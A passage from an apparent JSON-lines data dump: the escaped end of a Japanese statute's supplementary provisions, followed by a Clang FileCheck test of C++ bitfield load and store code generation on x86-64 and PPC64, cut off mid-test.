u3001\u653f\u4ee4\u3067\u5b9a\u3081\u308b\u3002\n\n\n\u3000\u3000\u3000\u9644\u3000\u5247\u3000\uff08\u5e73\u6210\u4e8c\u4e09\u5e74\u516d\u6708\u4e09\u3007\u65e5\u6cd5\u5f8b\u7b2c\u516b\u4e8c\u53f7\uff09\u3000\u6284\n\n\uff08\u65bd\u884c\u671f\u65e5\uff09\n\u7b2c\u4e00\u6761\n\u3000\u3053\u306e\u6cd5\u5f8b\u306f\u3001\u516c\u5e03\u306e\u65e5\u304b\u3089\u65bd\u884c\u3059\u308b\u3002\n\n\n\n\uff08\u7f70\u5247\u306b\u95a2\u3059\u308b\u7d4c\u904e\u63aa\u7f6e\uff09\n\u7b2c\u4e5d\u5341\u4e8c\u6761\n\u3000\u3053\u306e\u6cd5\u5f8b\uff08\u9644\u5247\u7b2c\u4e00\u6761\u5404\u53f7\u306b\u63b2\u3052\u308b\u898f\u5b9a\u306b\u3042\u3063\u3066\u306f\u3001\u5f53\u8a72\u898f\u5b9a\u3002\u4ee5\u4e0b\u3053\u306e\u6761\u306b\u304a\u3044\u3066\u540c\u3058\u3002\uff09\u306e\u65bd\u884c\u524d\u306b\u3057\u305f\u884c\u70ba\u53ca\u3073\u3053\u306e\u9644\u5247\u306e\u898f\u5b9a\u306b\u3088\u308a\u306a\u304a\u5f93\u524d\u306e\u4f8b\u306b\u3088\u308b\u3053\u3068\u3068\u3055\u308c\u308b\u5834\u5408\u306b\u304a\u3051\u308b\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u5f8c\u306b\u3057\u305f\u884c\u70ba\u306b\u5bfe\u3059\u308b\u7f70\u5247\u306e\u9069\u7528\u306b\u3064\u3044\u3066\u306f\u3001\u306a\u304a\u5f93\u524d\u306e\u4f8b\u306b\u3088\u308b\u3002\n\n\n\n\uff08\u305d\u306e\u4ed6\u306e\u7d4c\u904e\u63aa\u7f6e\u306e\u653f\u4ee4\u3078\u306e\u59d4\u4efb\uff09\n\u7b2c\u4e5d\u5341\u4e09\u6761\n\u3000\u3053\u306e\u9644\u5247\u306b\u898f\u5b9a\u3059\u308b\u3082\u306e\u306e\u307b\u304b\u3001\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u306b\u95a2\u3057\u5fc5\u8981\u306a\u7d4c\u904e\u63aa\u7f6e\u306f\u3001\u653f\u4ee4\u3067\u5b9a\u3081\u308b\u3002\n\n\n\u3000\u3000\u3000\u9644\u3000\u5247\u3000\uff08\u5e73\u6210\u4e8c\u4e94\u5e74\u516d\u6708\u4e00\u56db\u65e5\u6cd5\u5f8b\u7b2c\u56db\u56db\u53f7\uff09\u3000\u6284\n\n\uff08\u65bd\u884c\u671f\u65e5\uff09\n\u7b2c\u4e00\u6761\n\u3000\u3053\u306e\u6cd5\u5f8b\u306f\u3001\u516c\u5e03\u306e\u65e5\u304b\u3089\u65bd\u884c\u3059\u308b\u3002\n\n\n\n\uff08\u7f70\u5247\u306b\u95a2\u3059\u308b\u7d4c\u904e\u63aa\u7f6e\uff09\n\u7b2c\u5341\u6761\n\u3000\u3053\u306e\u6cd5\u5f8b\uff08\u9644\u5247\u7b2c\u4e00\u6761\u5404\u53f7\u306b\u63b2\u3052\u308b\u898f\u5b9a\u306b\u3042\u3063\u3066\u306f\u3001\u5f53\u8a72\u898f\u5b9a\uff09\u306e\u65bd\u884c\u524d\u306b\u3057\u305f\u884c\u70ba\u306b\u5bfe\u3059\u308b\u7f70\u5247\u306e\u9069\u7528\u306b\u3064\u3044\u3066\u306f\u3001\u306a\u304a\u5f93\u524d\u306e\u4f8b\u306b\u3088\u308b\u3002\n\n\n\n\uff08\u653f\u4ee4\u3078\u306e\u59d4\u4efb\uff09\n\u7b2c\u5341\u4e00\u6761\n\u3000\u3053\u306e\u9644\u5247\u306b\u898f\u5b9a\u3059\u308b\u3082\u306e\u306e\u307b\u304b\u3001\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u306b\u95a2\u3057\u5fc5\u8981\u306a\u7d4c\u904e\u63aa\u7f6e\uff08\u7f70\u5247\u306b\u95a2\u3059\u308b\u7d4c\u904e\u63aa\u7f6e\u3092\u542b\u3080\u3002\uff09\u306f\u3001\u653f\u4ee4\u3067\u5b9a\u3081\u308b\u3002\n\n\n"} -{"text": "// RUN: %clang_cc1 -triple x86_64-unknown-unknown -emit-llvm -o - %s \\\n// RUN: | FileCheck -check-prefix=CHECK-X86-64 %s\n// RUN: %clang_cc1 -triple powerpc64-unknown-unknown -emit-llvm -o - %s \\\n// RUN: | FileCheck -check-prefix=CHECK-PPC64 %s\n//\n// Tests for bitfield access patterns in C++ with special attention to\n// conformance to C++11 memory model requirements.\n\nnamespace N0 {\n // Test basic bitfield layout access across interesting byte and word\n // boundaries on both little endian and big endian platforms.\n struct __attribute__((packed)) S {\n unsigned b00 : 14;\n unsigned b01 : 2;\n unsigned b20 : 6;\n unsigned b21 : 2;\n unsigned b30 : 30;\n unsigned b31 : 2;\n unsigned b70 : 6;\n unsigned b71 : 2;\n };\n unsigned read00(S* s) {\n // CHECK-X86-64-LABEL: define i32 @_ZN2N06read00\n // CHECK-X86-64: %[[ptr:.*]] = bitcast %{{.*}}* %{{.*}} to i64*\n // CHECK-X86-64: %[[val:.*]] = load i64, i64* %[[ptr]]\n // CHECK-X86-64: %[[and:.*]] = and i64 %[[val]], 16383\n // CHECK-X86-64: %[[trunc:.*]] = trunc i64 %[[and]] to i32\n // CHECK-X86-64: ret i32 %[[trunc]]\n // CHECK-PPC64-LABEL: define zeroext i32 @_ZN2N06read00\n // CHECK-PPC64: %[[ptr:.*]] = bitcast %{{.*}}* %{{.*}} to i64*\n // CHECK-PPC64: %[[val:.*]] = load i64, i64* %[[ptr]]\n // CHECK-PPC64: %[[shr:.*]] = lshr i64 %[[val]], 50\n // CHECK-PPC64: %[[trunc:.*]] = trunc i64 %[[shr]] to i32\n // CHECK-PPC64: ret i32 %[[trunc]]\n return s->b00;\n }\n unsigned read01(S* s) {\n // CHECK-X86-64-LABEL: define i32 @_ZN2N06read01\n // CHECK-X86-64: %[[ptr:.*]] = bitcast %{{.*}}* %{{.*}} to i64*\n // CHECK-X86-64: %[[val:.*]] = load i64, i64* %[[ptr]]\n // CHECK-X86-64: %[[shr:.*]] = lshr i64 %[[val]], 14\n // CHECK-X86-64: %[[and:.*]] = and i64 %[[shr]], 3\n // CHECK-X86-64: %[[trunc:.*]] = trunc i64 %[[and]] to i32\n // CHECK-X86-64: ret i32 %[[trunc]]\n // CHECK-PPC64-LABEL: define zeroext i32 @_ZN2N06read01\n // CHECK-PPC64: %[[ptr:.*]] = bitcast %{{.*}}* %{{.*}} to i64*\n // CHECK-PPC64: %[[val:.*]] = load i64, i64* %[[ptr]]\n // CHECK-PPC64: %[[shr:.*]] = lshr i64 %[[val]], 48\n // CHECK-PPC64: %[[and:.*]] = and i64 %[[shr]], 3\n // CHECK-PPC64: %[[trunc:.*]] = trunc i64 %[[and]] to i32\n // CHECK-PPC64: ret i32 %[[trunc]]\n return s->b01;\n }\n unsigned read20(S* s) {\n // CHECK-X86-64-LABEL: define i32 @_ZN2N06read20\n // CHECK-X86-64: %[[ptr:.*]] = bitcast %{{.*}}* %{{.*}} to i64*\n // CHECK-X86-64: %[[val:.*]] = load i64, i64* %[[ptr]]\n // CHECK-X86-64: %[[shr:.*]] = lshr i64 %[[val]], 16\n // CHECK-X86-64: %[[and:.*]] = and i64 %[[shr]], 63\n // CHECK-X86-64: %[[trunc:.*]] = trunc i64 %[[and]] to i32\n // CHECK-X86-64: ret i32 %[[trunc]]\n // CHECK-PPC64-LABEL: define zeroext i32 @_ZN2N06read20\n // CHECK-PPC64: %[[ptr:.*]] = bitcast %{{.*}}* %{{.*}} to i64*\n // CHECK-PPC64: %[[val:.*]] = load i64, i64* %[[ptr]]\n // CHECK-PPC64: %[[shr:.*]] = lshr i64 %[[val]], 42\n // CHECK-PPC64: %[[and:.*]] = and i64 %[[shr]], 63\n // CHECK-PPC64: %[[trunc:.*]] = trunc i64 %[[and]] to i32\n // CHECK-PPC64: ret i32 %[[trunc]]\n return s->b20;\n }\n unsigned read21(S* s) {\n // CHECK-X86-64-LABEL: define i32 @_ZN2N06read21\n // CHECK-X86-64: %[[ptr:.*]] = bitcast %{{.*}}* %{{.*}} to i64*\n // CHECK-X86-64: %[[val:.*]] = load i64, i64* %[[ptr]]\n // CHECK-X86-64: %[[shr:.*]] = lshr i64 %[[val]], 22\n // CHECK-X86-64: %[[and:.*]] = and i64 %[[shr]], 3\n // CHECK-X86-64: %[[trunc:.*]] = trunc i64 %[[and]] to i32\n // CHECK-X86-64: ret i32 %[[trunc]]\n // CHECK-PPC64-LABEL: define zeroext i32 @_ZN2N06read21\n // CHECK-PPC64: %[[ptr:.*]] = bitcast %{{.*}}* %{{.*}} to i64*\n // CHECK-PPC64: %[[val:.*]] = load i64, i64* %[[ptr]]\n // CHECK-PPC64: %[[shr:.*]] = lshr i64 %[[val]], 40\n // CHECK-PPC64: %[[and:.*]] = and i64 %[[shr]], 3\n // CHECK-PPC64: %[[trunc:.*]] = trunc i64 %[[and]] to i32\n // CHECK-PPC64: ret i32 %[[trunc]]\n return s->b21;\n }\n unsigned read30(S* s) {\n // CHECK-X86-64-LABEL: define i32 @_ZN2N06read30\n // CHECK-X86-64: %[[ptr:.*]] = bitcast %{{.*}}* %{{.*}} to i64*\n // CHECK-X86-64: %[[val:.*]] = load i64, i64* %[[ptr]]\n // CHECK-X86-64: %[[shr:.*]] = lshr i64 %[[val]], 24\n // CHECK-X86-64: %[[and:.*]] = and i64 %[[shr]], 1073741823\n // CHECK-X86-64: %[[trunc:.*]] = trunc i64 %[[and]] to i32\n // CHECK-X86-64: ret i32 %[[trunc]]\n // CHECK-PPC64-LABEL: define zeroext i32 @_ZN2N06read30\n // CHECK-PPC64: %[[ptr:.*]] = bitcast %{{.*}}* %{{.*}} to i64*\n // CHECK-PPC64: %[[val:.*]] = load i64, i64* %[[ptr]]\n // CHECK-PPC64: %[[shr:.*]] = lshr i64 %[[val]], 10\n // CHECK-PPC64: %[[and:.*]] = and i64 %[[shr]], 1073741823\n // CHECK-PPC64: %[[trunc:.*]] = trunc i64 %[[and]] to i32\n // CHECK-PPC64: ret i32 %[[trunc]]\n return s->b30;\n }\n unsigned read31(S* s) {\n // CHECK-X86-64-LABEL: define i32 @_ZN2N06read31\n // CHECK-X86-64: %[[ptr:.*]] = bitcast %{{.*}}* %{{.*}} to i64*\n // CHECK-X86-64: %[[val:.*]] = load i64, i64* %[[ptr]]\n // CHECK-X86-64: %[[shr:.*]] = lshr i64 %[[val]], 54\n // CHECK-X86-64: %[[and:.*]] = and i64 %[[shr]], 3\n // CHECK-X86-64: %[[trunc:.*]] = trunc i64 %[[and]] to i32\n // CHECK-X86-64: ret i32 %[[trunc]]\n // CHECK-PPC64-LABEL: define zeroext i32 @_ZN2N06read31\n // CHECK-PPC64: %[[ptr:.*]] = bitcast %{{.*}}* %{{.*}} to i64*\n // CHECK-PPC64: %[[val:.*]] = load i64, i64* %[[ptr]]\n // CHECK-PPC64: %[[shr:.*]] = lshr i64 %[[val]], 8\n // CHECK-PPC64: %[[and:.*]] = and i64 %[[shr]], 3\n // CHECK-PPC64: %[[trunc:.*]] = trunc i64 %[[and]] to i32\n // CHECK-PPC64: ret i32 %[[trunc]]\n return s->b31;\n }\n unsigned read70(S* s) {\n // CHECK-X86-64-LABEL: define i32 @_ZN2N06read70\n // CHECK-X86-64: %[[ptr:.*]] = bitcast %{{.*}}* %{{.*}} to i64*\n // CHECK-X86-64: %[[val:.*]] = load i64, i64* %[[ptr]]\n // CHECK-X86-64: %[[shr:.*]] = lshr i64 %[[val]], 56\n // CHECK-X86-64: %[[and:.*]] = and i64 %[[shr]], 63\n // CHECK-X86-64: %[[trunc:.*]] = trunc i64 %[[and]] to i32\n // CHECK-X86-64: ret i32 %[[trunc]]\n // CHECK-PPC64-LABEL: define zeroext i32 @_ZN2N06read70\n // CHECK-PPC64: %[[ptr:.*]] = bitcast %{{.*}}* %{{.*}} to i64*\n // CHECK-PPC64: %[[val:.*]] = load i64, i64* %[[ptr]]\n // CHECK-PPC64: %[[shr:.*]] = lshr i64 %[[val]], 2\n // CHECK-PPC64: %[[and:.*]] = and i64 %[[shr]], 63\n // CHECK-PPC64: %[[trunc:.*]] = trunc i64 %[[and]] to i32\n // CHECK-PPC64: ret i32 %[[trunc]]\n return s->b70;\n }\n unsigned read71(S* s) {\n // CHECK-X86-64-LABEL: define i32 @_ZN2N06read71\n // CHECK-X86-64: %[[ptr:.*]] = bitcast %{{.*}}* %{{.*}} to i64*\n // CHECK-X86-64: %[[val:.*]] = load i64, i64* %[[ptr]]\n // CHECK-X86-64: %[[shr:.*]] = lshr i64 %[[val]], 62\n // CHECK-X86-64: %[[trunc:.*]] = trunc i64 %[[shr]] to i32\n // CHECK-X86-64: ret i32 %[[trunc]]\n // CHECK-PPC64-LABEL: define zeroext i32 @_ZN2N06read71\n // CHECK-PPC64: %[[ptr:.*]] = bitcast %{{.*}}* %{{.*}} to i64*\n // CHECK-PPC64: %[[val:.*]] = load i64, i64* %[[ptr]]\n // CHECK-PPC64: %[[and:.*]] = and i64 %[[val]], 3\n // CHECK-PPC64: %[[trunc:.*]] = trunc i64 %[[and]] to i32\n // CHECK-PPC64: ret i32 %[[trunc]]\n return s->b71;\n }\n}\n\nnamespace N1 {\n // Ensure that neither loads nor stores to bitfields are not widened into\n // other memory locations. (PR13691)\n //\n // NOTE: We could potentially widen loads based on their alignment if we are\n // comfortable requiring that subsequent memory locations within the\n // alignment-widened load are not volatile.\n struct S {\n char a;\n unsigned b : 1;\n char c;\n };\n unsigned read(S* s) {\n // CHECK-X86-64-LABEL: define i32 @_ZN2N14read\n // CHECK-X86-64: %[[ptr:.*]] = getelementptr inbounds %{{.*}}, %{{.*}}* %{{.*}}, i32 0, i32 1\n // CHECK-X86-64: %[[val:.*]] = load i8, i8* %[[ptr]]\n // CHECK-X86-64: %[[and:.*]] = and i8 %[[val]], 1\n // CHECK-X86-64: %[[ext:.*]] = zext i8 %[[and]] to i32\n // CHECK-X86-64: ret i32 %[[ext]]\n // CHECK-PPC64-LABEL: define zeroext i32 @_ZN2N14read\n // CHECK-PPC64: %[[ptr:.*]] = getelementptr inbounds %{{.*}}, %{{.*}}* %{{.*}}, i32 0, i32 1\n // CHECK-PPC64: %[[val:.*]] = load i8, i8* %[[ptr]]\n // CHECK-PPC64: %[[shr:.*]] = lshr i8 %[[val]], 7\n // CHECK-PPC64: %[[ext:.*]] = zext i8 %[[shr]] to i32\n // CHECK-PPC64: ret i32 %[[ext]]\n return s->b;\n }\n void write(S* s, unsigned x) {\n // CHECK-X86-64-LABEL: define void @_ZN2N15write\n // CHECK-X86-64: %[[ptr:.*]] = getelementptr inbounds %{{.*}}, %{{.*}}* %{{.*}}, i32 0, i32 1\n // CHECK-X86-64: %[[x_trunc:.*]] = trunc i32 %{{.*}} to i8\n // CHECK-X86-64: %[[old:.*]] = load i8, i8* %[[ptr]]\n // CHECK-X86-64: %[[x_and:.*]] = and i8 %[[x_trunc]], 1\n // CHECK-X86-64: %[[old_and:.*]] = and i8 %[[old]], -2\n // CHECK-X86-64: %[[new:.*]] = or i8 %[[old_and]], %[[x_and]]\n // CHECK-X86-64: store i8 %[[new]], i8* %[[ptr]]\n // CHECK-PPC64-LABEL: define void @_ZN2N15write\n // CHECK-PPC64: %[[ptr:.*]] = getelementptr inbounds %{{.*}}, %{{.*}}* %{{.*}}, i32 0, i32 1\n // CHECK-PPC64: %[[x_trunc:.*]] = trunc i32 %{{.*}} to i8\n // CHECK-PPC64: %[[old:.*]] = load i8, i8* %[[ptr]]\n // CHECK-PPC64: %[[x_and:.*]] = and i8 %[[x_trunc]], 1\n // CHECK-PPC64: %[[x_shl:.*]] = shl i8 %[[x_and]], 7\n // CHECK-PPC64: %[[old_and:.*]] = and i8 %[[old]], 127\n // CHECK-PPC64: %[[new:.*]] = or i8 %[[old_and]], %[[x_shl]]\n // CHECK-PPC64: store i8 %[[new]], i8* %[[ptr]]\n s->b = x;\n }\n}\n\nnamespace N2 {\n // Do widen loads and stores to bitfields when those bitfields have padding\n // within the struct following them.\n struct S {\n unsigned b : 24;\n void *p;\n };\n unsigned read(S* s) {\n // CHECK-X86-64-LABEL: define i32 @_ZN2N24read\n // CHECK-X86-64: %[[ptr:.*]] = bitcast %{{.*}}* %{{.*}} to i32*\n // CHECK-X86-64: %[[val:.*]] = load i32, i32* %[[ptr]]\n // CHECK-X86-64: %[[and:.*]] = and i32 %[[val]], 16777215\n // CHECK-X86-64: ret i32 %[[and]]\n // CHECK-PPC64-LABEL: define zeroext i32 @_ZN2N24read\n // CHECK-PPC64: %[[ptr:.*]] = bitcast %{{.*}}* %{{.*}} to i32*\n // CHECK-PPC64: %[[val:.*]] = load i32, i32* %[[ptr]]\n // CHECK-PPC64: %[[shr:.*]] = lshr i32 %[[val]], 8\n // CHECK-PPC64: ret i32 %[[shr]]\n return s->b;\n }\n void write(S* s, unsigned x) {\n // CHECK-X86-64-LABEL: define void @_ZN2N25write\n // CHECK-X86-64: %[[ptr:.*]] = bitcast %{{.*}}* %{{.*}} to i32*\n // CHECK-X86-64: %[[old:.*]] = load i32, i32* %[[ptr]]\n // CHECK-X86-64: %[[x_and:.*]] = and i32 %{{.*}}, 16777215\n // CHECK-X86-64: %[[old_and:.*]] = and i32 %[[old]], -16777216\n // CHECK-X86-64: %[[new:.*]] = or i32 %[[old_and]], %[[x_and]]\n // CHECK-X86-64: store i32 %[[new]], i32* %[[ptr]]\n // CHECK-PPC64-LABEL: define void @_ZN2N25write\n // CHECK-PPC64: %[[ptr:.*]] = bitcast %{{.*}}* %{{.*}} to i32*\n // CHECK-PPC64: %[[old:.*]] = load i32, i32* %[[ptr]]\n // CHECK-PPC64: %[[x_and:.*]] = and i32 %{{.*}}, 16777215\n // CHECK-PPC64: %[[x_shl:.*]] = shl i32 %[[x_and]], 8\n // CHECK-PPC64: %[[old_and:.*]] = and i32 %[[old]], 255\n // CHECK-PPC64: %[[new:.*]] = or i32 %[[old_and]], %[[x_shl]]\n // CHECK-PPC64: store i32 %[[new]], i32* %[[ptr]]\n s->b = x;\n }\n}\n\nnamespace N3 {\n // Do widen loads and stores to bitfields through the trailing padding at the\n // end of a struct.\n struct S {\n unsigned b : 24;\n };\n unsigned read(S* s) {\n // CHECK-X86-64-LABEL: define i32 @_ZN2N34read\n // CHECK-X86-64: %[[ptr:.*]] = bitcast %{{.*}}* %{{.*}} to i32*\n // CHECK-X86-64: %[[val:.*]] = load i32, i32* %[[ptr]]\n // CHECK-X86-64: %[[and:.*]] = and i32 %[[val]], 16777215\n // CHECK-X86-64: ret i32 %[[and]]\n // CHECK-PPC64-LABEL: define zeroext i32 @_ZN2N34read\n // CHECK-PPC64: %[[ptr:.*]] = bitcast %{{.*}}* %{{.*}} to i32*\n // CHECK-PPC64: %[[val:.*]] = load i32, i32* %[[ptr]]\n // CHECK-PPC64: %[[shr:.*]] = lshr i32 %[[val]], 8\n // CHECK-PPC64: ret i32 %[[shr]]\n return s->b;\n }\n void write(S* s, unsigned x) {\n // CHECK-X86-64-LABEL: define void @_ZN2N35write\n // CHECK-X86-64: %[[ptr:.*]] = bitcast %{{.*}}* %{{.*}} to i32*\n // CHECK-X86-64: %[[old:.*]] = load i32, i32* %[[ptr]]\n // CHECK-X86-64: %[[x_and:.*]] = and i32 %{{.*}}, 16777215\n // CHECK-X86-64: %[[old_and:.*]] = and i32 %[[old]], -16777216\n // CHECK-X86-64: %[[new:.*]] = or i32 %[[old_and]], %[[x_and]]\n // CHECK-X86-64: store i32 %[[new]], i32* %[[ptr]]\n // CHECK-PPC64-LABEL: define void @_ZN2N35write\n // CHECK-PPC64: %[[ptr:.*]] = bitcast %{{.*}}* %{{.*}} to i32*\n // CHECK-PPC64: %[[old:.*]] = load i32, i32* %[[ptr]]\n // CHECK-PPC64: %[[x_and:.*]] = and i32 %{{.*}}, 16777215\n // CHECK-PPC64: %[[x_shl:.*]] = shl i32 %[[x_and]], 8\n // CHECK-PPC64: %[[old_and:.*]] = and i32 %[[old]], 255\n // CHECK-PPC64: %[[new:.*]] = or i32 %[[old_and]], %[[x_shl]]\n // CHECK-PPC64: store i32 %[[new]], i32* %[[ptr]]\n s->b = x;\n }\n}\n\nnamespace N4 {\n // Do NOT widen loads and stores to bitfields into padding at the end of\n // a class which might end up with members inside of it when inside a derived\n // class.\n struct Base {\n virtual ~Base() {}\n\n unsigned b : 24;\n };\n // Imagine some other translation unit introduces:\n#if 0\n struct Derived : public Base {\n char c;\n };\n#endif\n unsigned read(Base* s) {\n // FIXME: We should widen this load as long as the function isn't being\n // instrumented by ThreadSanitizer.\n //\n // CHECK-X86-64-LABEL: define i32 @_ZN2N44read\n // CHECK-X86-64: %[[gep:.*]] = getelementptr inbounds {{.*}}, {{.*}}* %{{.*}}, i32 0, i32 1\n // CHECK-X86-64: %[[ptr:.*]] = bitcast [3 x i8]* %[[gep]] to i24*\n // CHECK-X86-64: %[[val:.*]] = load i24, i24* %[[ptr]]\n // CHECK-X86-64: %[[ext:.*]] = zext i24 %[[val]] to i32\n // CHECK-X86-64: ret i32 %[[ext]]\n // CHECK-PPC64-LABEL: define zeroext i32 @_ZN2N44read\n // CHECK-PPC64: %[[gep:.*]] = getelementptr inbounds {{.*}}, {{.*}}* %{{.*}}, i32 0, i32 1\n // CHECK-PPC64: %[[ptr:.*]] = bitcast [3 x i8]* %[[gep]] to i24*\n // CHECK-PPC64: %[[val:.*]] = load i24, i24* %[[ptr]]\n // CHECK-PPC64: %[[ext:.*]] = zext i24 %[[val]] to i32\n // CHECK-PPC64: ret i32 %[[ext]]\n return s->b;\n }\n void write(Base* s, unsigned x) {\n // CHECK-X86-64-LABEL: define void @_ZN2N45write\n // CHECK-X86-64: %[[gep:.*]] = getelementptr inbounds {{.*}}, {{.*}}* %{{.*}}, i32 0, i32 1\n // CHECK-X86-64: %[[ptr:.*]] = bitcast [3 x i8]* %[[gep]] to i24*\n // CHECK-X86-64: %[[new:.*]] = trunc i32 %{{.*}} to i24\n // CHECK-X86-64: store i24 %[[new]], i24* %[[ptr]]\n // CHECK-PPC64-LABEL: define void @_ZN2N45write\n // CHECK-PPC64: %[[gep:.*]] = getelementptr inbounds {{.*}}, {{.*}}* %{{.*}}, i32 0, i32 1\n // CHECK-PPC64: %[[ptr:.*]] = bitcast [3 x i8]* %[[gep]] to i24*\n // CHECK-PPC64: %[[new:.*]] = trunc i32 %{{.*}} to i24\n // CHECK-PPC64: store i24 %[[new]], i24* %[[ptr]]\n s->b = x;\n }\n}\n\nnamespace N5 {\n // Widen through padding at the end of a struct even if that struct\n // participates in a union with another struct which has a separate field in\n // that location. The reasoning is that if the operation is storing to that\n // member of the union, it must be the active member, and thus we can write\n // through the padding. If it is a load, it might be a load of a common\n // prefix through a non-active member, but in such a case the extra bits\n // loaded are masked off anyways.\n union U {\n struct X { unsigned b : 24; char c; } x;\n struct Y { unsigned b : 24; } y;\n };\n unsigned read(U* u) {\n // CHECK-X86-64-LABEL: define i32 @_ZN2N54read\n // CHECK-X86-64: %[[ptr:.*]] = bitcast %{{.*}}* %{{.*}} to i32*\n // CHECK-X86-64: %[[val:.*]] = load i32, i32* %[[ptr]]\n // CHECK-X86-64: %[[and:.*]] = and i32 %[[val]], 16777215\n // CHECK-X86-64: ret i32 %[[and]]\n // CHECK-PPC64-LABEL: define zeroext i32 @_ZN2N54read\n // CHECK-PPC64: %[[ptr:.*]] = bitcast %{{.*}}* %{{.*}} to i32*\n // CHECK-PPC64: %[[val:.*]] = load i32, i32* %[[ptr]]\n // CHECK-PPC64: %[[shr:.*]] = lshr i32 %[[val]], 8\n // CHECK-PPC64: ret i32 %[[shr]]\n return u->y.b;\n }\n void write(U* u, unsigned x) {\n // CHECK-X86-64-LABEL: define void @_ZN2N55write\n // CHECK-X86-64: %[[ptr:.*]] = bitcast %{{.*}}* %{{.*}} to i32*\n // CHECK-X86-64: %[[old:.*]] = load i32, i32* %[[ptr]]\n // CHECK-X86-64: %[[x_and:.*]] = and i32 %{{.*}}, 16777215\n // CHECK-X86-64: %[[old_and:.*]] = and i32 %[[old]], -16777216\n // CHECK-X86-64: %[[new:.*]] = or i32 %[[old_and]], %[[x_and]]\n // CHECK-X86-64: store i32 %[[new]], i32* %[[ptr]]\n // CHECK-PPC64-LABEL: define void @_ZN2N55write\n // CHECK-PPC64: %[[ptr:.*]] = bitcast %{{.*}}* %{{.*}} to i32*\n // CHECK-PPC64: %[[old:.*]] = load i32, i32* %[[ptr]]\n // CHECK-PPC64: %[[x_and:.*]] = and i32 %{{.*}}, 16777215\n // CHECK-PPC64: %[[x_shl:.*]] = shl i32 %[[x_and]], 8\n // CHECK-PPC64: %[[old_and:.*]] = and i32 %[[old]], 255\n // CHECK-PPC64: %[[new:.*]] = or i32 %[[old_and]], %[[x_shl]]\n // CHECK-PPC64: store i32 %[[new]], i32* %[[ptr]]\n u->y.b = x;\n }\n}\n\nnamespace N6 {\n // Zero-length bitfields partition the memory locations of bitfields for the\n // purposes of the memory model. That means stores must not span zero-length\n // bitfields and loads may only span them when we are not instrumenting with\n // ThreadSanitizer.\n // FIXME: We currently don't widen loads even without ThreadSanitizer, even\n // though we could.\n struct S {\n unsigned b1 : 24;\n unsigned char : 0;\n unsigned char b2 : 8;\n };\n unsigned read(S* s) {\n // CHECK-X86-64-LABEL: define i32 @_ZN2N64read\n // CHECK-X86-64: %[[ptr1:.*]] = bitcast {{.*}}* %{{.*}} to i24*\n // CHECK-X86-64: %[[val1:.*]] = load i24, i24* %[[ptr1]]\n // CHECK-X86-64: %[[ext1:.*]] = zext i24 %[[val1]] to i32\n // CHECK-X86-64: %[[ptr2:.*]] = getelementptr inbounds {{.*}}, {{.*}}* %{{.*}}, i32 0, i32 1\n // CHECK-X86-64: %[[val2:.*]] = load i8, i8* %[[ptr2]]\n // CHECK-X86-64: %[[ext2:.*]] = zext i8 %[[val2]] to i32\n // CHECK-X86-64: %[[add:.*]] = add nsw i32 %[[ext1]], %[[ext2]]\n // CHECK-X86-64: ret i32 %[[add]]\n // CHECK-PPC64-LABEL: define zeroext i32 @_ZN2N64read\n // CHECK-PPC64: %[[ptr1:.*]] = bitcast {{.*}}* %{{.*}} to i24*\n // CHECK-PPC64: %[[val1:.*]] = load i24, i24* %[[ptr1]]\n // CHECK-PPC64: %[[ext1:.*]] = zext i24 %[[val1]] to i32\n // CHECK-PPC64: %[[ptr2:.*]] = getelementptr inbounds {{.*}}, {{.*}}* %{{.*}}, i32 0, i32 1\n // CHECK-PPC64: %[[val2:.*]] = load i8, i8* %[[ptr2]]\n // CHECK-PPC64: %[[ext2:.*]] = zext i8 %[[val2]] to i32\n // CHECK-PPC64: %[[add:.*]] = add nsw i32 %[[ext1]], %[[ext2]]\n // CHECK-PPC64: ret i32 %[[add]]\n return s->b1 + s->b2;\n }\n void write(S* s, unsigned x) {\n // CHECK-X86-64-LABEL: define void @_ZN2N65write\n // CHECK-X86-64: %[[ptr1:.*]] = bitcast {{.*}}* %{{.*}} to i24*\n // CHECK-X86-64: %[[new1:.*]] = trunc i32 %{{.*}} to i24\n // CHECK-X86-64: store i24 %[[new1]], i24* %[[ptr1]]\n // CHECK-X86-64: %[[new2:.*]] = trunc i32 %{{.*}} to i8\n // CHECK-X86-64: %[[ptr2:.*]] = getelementptr inbounds {{.*}}, {{.*}}* %{{.*}}, i32 0, i32 1\n // CHECK-X86-64: store i8 %[[new2]], i8* %[[ptr2]]\n // CHECK-PPC64-LABEL: define void @_ZN2N65write\n // CHECK-PPC64: %[[ptr1:.*]] = bitcast {{.*}}* %{{.*}} to i24*\n // CHECK-PPC64: %[[new1:.*]] = trunc i32 %{{.*}} to i24\n // CHECK-PPC64: store i24 %[[new1]], i24* %[[ptr1]]\n // CHECK-PPC64: %[[new2:.*]] = trunc i32 %{{.*}} to i8\n // CHECK-PPC64: %[[ptr2:.*]] = getelementptr inbounds {{.*}}, {{.*}}* %{{.*}}, i32 0, i32 1\n // CHECK-PPC64: store i8 %[[new2]], i8* %[[ptr2]]\n s->b1 = x;\n s->b2 = x;\n }\n}\n\nnamespace N7 {\n // Similar to N4 except that this adds a virtual base to the picture. (PR18430)\n // Do NOT widen loads and stores to bitfields into padding at the end of\n // a class which might end up with members inside of it when inside a derived\n // class.\n struct B1 {\n virtual void f();\n unsigned b1 : 24;\n };\n struct B2 : virtual B1 {\n virtual ~B2();\n unsigned b : 24;\n };\n // Imagine some other translation unit introduces:\n#if 0\n struct Derived : public B2 {\n char c;\n };\n#endif\n unsigned read(B2* s) {\n // FIXME: We should widen this load as long as the function isn't being\n // instrumented by ThreadSanitizer.\n //\n // CHECK-X86-64-LABEL: define i32 @_ZN2N74read\n // CHECK-X86-64: %[[gep:.*]] = getelementptr inbounds {{.*}}, {{.*}}* %{{.*}}, i32 0, i32 1\n // CHECK-X86-64: %[[ptr:.*]] = bitcast [3 x i8]* %[[gep]] to i24*\n // CHECK-X86-64: %[[val:.*]] = load i24, i24* %[[ptr]]\n // CHECK-X86-64: %[[ext:.*]] = zext i24 %[[val]] to i32\n // CHECK-X86-64: ret i32 %[[ext]]\n // CHECK-PPC64-LABEL: define zeroext i32 @_ZN2N74read\n // CHECK-PPC64: %[[gep:.*]] = getelementptr inbounds {{.*}}, {{.*}}* %{{.*}}, i32 0, i32 1\n // CHECK-PPC64: %[[ptr:.*]] = bitcast [3 x i8]* %[[gep]] to i24*\n // CHECK-PPC64: %[[val:.*]] = load i24, i24* %[[ptr]]\n // CHECK-PPC64: %[[ext:.*]] = zext i24 